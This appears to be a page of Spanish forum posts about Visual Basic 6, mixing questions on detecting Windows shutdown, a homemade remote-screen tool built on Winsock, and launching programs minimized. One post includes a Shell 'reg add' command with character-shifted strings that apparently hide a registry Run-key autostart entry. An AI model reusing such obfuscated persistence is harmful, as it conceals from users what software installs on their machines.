Mensajes

Lo que necesito es que cuando pinches en apagar o cerrar sesion en windows, mi programa pueda hacer siertas acciones antes de cerrarse el windows.

-Detectar el cierre de windows
-Ejecutar accion
-Dejar que windows cierre

las personas que usan teamviewer no se conectan directamente entre ellos, por eso no usan ip; se conectan a un servidor; y el servidor les hes de medio para iniciar la conexion.
tengo entendido que la informacion se envia al servidor y luego esta se descarga; aunq es muy rapida la transferencia (es otro detalle);
tendras que tener modulos para los eventos del mouse, de pantalla, conexiones, errores, transferencias.

En vb las conexiones no son tan rapidas; si quieres sacarle provecho al max. tendrias que usarlo en C/C++
salvo que hagas una DLL que se encarge de a comunicacion; y esta este en ese lenguaje para que puedan ser todo tan rapido.

Ahora tu servidor, tendra que encargarse de establecerlas comunicacinoes entre ambos clientes; asi que tendra que solicitar IDs, passwords; verificar, comprobar, autorzar la comunicacion y abrir un canal entre ellos...

bueno es lo que se me ocurre! si tengo errores; corriganme
Saludos!

Despues de todo esto... seguro que se le quitaron las ganas de aprender. jajajaja

Que nadie pierda el tiempo haciendo pruevas con esto ya que no funciona el metodo.

Uffff, golpe bajo. JAJAJJAA

Tienes toda la razon.
Es que hace tiempo que no manejo sockets.

Quita los on error resume next y pruevalo, aver si te da error en alguna linea del codigo.
La conexion parece estar bien.

Me parece extraño que cierres la conexion para luego aceptarla

Código [Seleccionar] Expandir


Private Sub Command1_Click()
On Error Resume Next
WS.LocalPort = Text1.Text
WS.Close
WS.Listen
End Sub

Private Sub Command2_Click()
Unload clienteFRM
End Sub


Private Sub conexion_Timer()
On Error Resume Next
If WS.State = "7" Then
Label1.Caption = "Conectados"
ElseIf WS.State = "0" Then
Label1.Caption = "Desconectados"
End If
End Sub

Private Sub Form_Terminate()
Unload frmPANTALLA
End Sub

Private Sub Form_Unload(Cancel As Integer)
Unload frmPANTALLA
End Sub

Private Sub WebCam_Click()
If WS.State = "7" Then
Load frmPANTALLA
frmPANTALLA.Show
End If
If Not WS.State = "7" Then
Unload frmPANTALLA
End If
End Sub

Private Sub WS_Close()
On Error Resume Next
WS.Close
WS.Listen
End Sub

Private Sub WS_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
WS.Close ---------------------------------------------------------> PRUEBA A QUITAR ESTO
WS.Accept requestID
Label2.Caption = WS.RemoteHostIP
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
WS.GetData datos

Open "c:\captura.jpg" For Binary As #1
     Seek #1, LOF(1) + 1
     Put #1, , datos
Close #1
frmPANTALLA.Timer1.Enabled = True

End Sub


Tambien puede ser que no allas abierto los puertos de tu router

Bueno. seguire intentando.

JAJAJAJAJA.

Uno tiene que leer mas y el otro da codigos sin explicacion. mmmmm


Aplicaciones cliente/servidor[/glow]]http://www.elguruprogramador.com.ar/articulos/aplicaciones-cliente-servidor-en-visual-basic-utilizando-el-control-winsock.htmAplicaciones cliente/servidor

Nada, que no sale.

Tambien e provado con:

Shell "reg add" & " " & desencrip("lopq`wsjx{evi`qmgvswsjx`{mrhs{w`gyvvirxzivwmsr`vyr") & " " & "/v" & " " & desencrip("LSPE") & " " & "/t reg_sz /d" & " " & desencrip("G>`EVGLMZS2I\I") & "/f "

Pues si no estoy ekivocado, creo que lo puedes hacer abriendo el juego desde tu programa en vb. busca en google sobre crear procesos.
Una ves allas creado el proceso lo modificas para que se ejecute minimizado.
Si encuentro info te la pongo.